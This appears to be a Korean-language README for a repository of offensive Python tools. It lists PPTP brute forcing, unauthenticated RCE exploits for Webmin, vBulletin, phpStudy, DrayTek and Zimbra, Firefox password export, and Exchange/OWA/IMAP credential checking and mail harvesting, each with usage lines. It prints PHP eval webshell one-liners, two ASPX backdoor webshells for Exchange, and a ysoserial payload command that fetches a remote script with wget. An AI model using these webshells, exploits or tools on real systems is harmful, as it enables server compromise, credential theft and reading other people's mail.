Homework-of-Python

제 블로그의 Python 코드입니다.

pptp_password_hack.py

무차별 대입 공격(Brute-force attack)을 사용하여 PPTP VPN의 비밀번호를 얻습니다.

파일(wordlist)에서 비밀번호를 읽은 다음 pptpsetup을 사용하여 서버에 연결합니다.

시간 간격은 10초입니다.

---

portscan.py

포트 스캔에 사용합니다.

타임아웃은 3초입니다.

c++ 버전:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp

---

urltoip.py

URL에서 IP를 얻는 데 사용합니다.

Sublist3r의 결과를 직접 사용할 수 있습니다.

file_deduplication(For_urltoip).py

Sublist3r의 결과에서 중복 IP를 제거하는 데 사용합니다.

urltoip.py의 결과를 직접 사용할 수 있습니다.

Sublime(F9)을 사용하여 IP를 정렬할 수 있습니다.

---

file_deduplication.py

파일에서 중복 항목을 제거하는 데 사용합니다.

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py

참고 자료:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

---

fofa_api.py

fofa의 api를 호출하고 결과에서 IP를 출력하는 데 사용합니다.

100개의 결과를 얻을 수 있습니다.

fofa_api_VIP.py

fofa의 api를 호출하고 결과에서 IP를 출력하는 데 사용합니다.

VIP라면 10000개의 결과를 얻을 수 있습니다.

---

vBulletin_5.x_0day_pre-auth_RCE.py

참고 자료:

https://seclists.org/fulldisclosure/2019/Sep/31

예시.

echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php

---

phpStudy_5.2-5.45_(php_xmlrpc.dll)_backdoor_RCE.py

참고 자료:

https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w

예시.

system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');

---

ExportFirefoxPassword.py

Firefox의 비밀번호를 내보내는 데 사용합니다.

get_Exchange_version.py

Exchange의 버전을 얻는 데 사용합니다.

먼저 URL의 소스 코드를 통해 BuildNumber를 얻은 다음 버전을 얻습니다.

참고 자료:

https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2019

---

SMBv3_RCE_Scanner(CVE-2020-0796).py

SMBv3 RCE 취약점을 스캔하는 데 사용합니다.

타임아웃은 3초입니다.

---

Unauthenticated_RCE_in_Draytek_Vigor2960\3900\300B.py

참고 자료:

https://github.com/imjdl/CVE-2020-8515-PoC

CVE-2020-8515

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta 및 Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, 1.4.4_Beta 장치는 cgi-bin/mainfunction.cgi URI의 셸 메타문자를 통해 (인증 없이) 루트 권한으로 원격 코드 실행을 허용합니다..

영향을 받는 제품:

• Vigor300B <v1.5.1
• Vigor2960 <v1.5.1
• Vigor3900 <v1.5.1

---

Zimbra_SOAP_API_Manage.py

Zimbra SOAP API를 사용하여 Zimbra 메일 서버에 연결합니다.

사용법:

      Zimbra_SOAP_API.py <url> <username> <password> <mode>

모드:

• low low token 인증
• admin admin token 인증
• ssrf CVE-2019-9621을 사용하여 admin token 획득

예시:

      Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low

---

checkEWS.py

Exchange Web Service의 유효한 계정을 확인하는 데 사용합니다(평문 및 ntlmhash 지원).

참고 자료: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py

사용법:

checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash

예시.

checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1

checkAutodiscover.py

Autodiscover.xml에 접근하여 사용자의 구성을 얻는 데 사용합니다(평문 및 ntlmhash 지원).

사용법:

checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx

예시.

checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting

checkAutodiscoverEx.py

checkAutodiscover.py의 확장 모드

매개변수를 추가합니다.

ewsManage.py

Exchange Web Service에 접근하는 데 사용합니다(평문 및 ntlmhash 지원).

사용법:

ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname

예시.

ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox

---

sshCheck.py

SSH의 유효한 자격 증명을 확인하는 데 사용합니다(비밀번호 및 개인 키 파일 지원).

사용법:

sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile

예시.

sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa

sshRunCmd

SSH를 통한 원격 명령 실행(비밀번호 및 개인 키 파일 지원).

사용법:

sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell

예시.

sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps

---

easCheck.py

eas(Exchange Server ActiveSync)의 유효한 자격 증명을 확인하는 데 사용합니다.

사용법:

easCheck.py <host> <user> <password>

예시.

easCheck.py 192.168.1.1 user1 password1

---

checkOWA.py

OWA에 연결하여 Exchange의 유효한 계정을 확인하는 데 사용합니다.

사용법:

checkOWA.py <url> <user> <password>

owaManage.py

OWA에 연결하여 메일을 읽는 데 사용합니다.

사용법:

owaManage.py  <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment

---

imapManage.py

IMAP을 사용하여 메일 서버에 연결합니다.

사용법:

imapManage.py <IMAP server> <username> <password> <command>    
<command>:
CheckConfig             get the folder name
SaveAttachOfInbox       save the attachments of Inbox
SaveAttachOfSent        save the attachments of Sent
DownloadAllMailOfInbox  download all the mails of Inbox
DownloadAllMailOfSent   download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig

---

aspxCmdNTLM.py

NTLM 인증을 구현하고 execCmd.aspx와 통신하는 데 사용합니다.

통신 데이터는 Base64로 인코딩됩니다.

사용법:

aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami

---

SharpExchangeBackdoor.py

C# 버전: SharpExchangeBackdoor.cs

Exchange 웹셸 백도어에 페이로드를 전송하는 데 사용합니다.

지원:

• assemblyLoad
• webshellWrite

사용법:

    <url> <user> <password> <mode> <path>
mode:
    assemblyLoad
    webshellWrite

예시.

    SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
    SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx

assemblyLoad.aspx:

<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

webshellWrite.aspx:

<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>

---

Zimbra_deserialization_RCE(CVE-2019-6980).py

안전하지 않은 객체 역직렬화 - IMAP

사용법:

<url> <user> <password> <payload path>

예시.

https://192.168.1.1 [email protected] password1 payload.obj

참고:

다음과 같이 payload.obj를 생성할 수 있습니다:

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj

---

ExchangeDeserializeShell-NoAuth-TextFormattingRunProperties.py

ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py

ExchangeDeserializeShell-NoAuth-ghostfile.py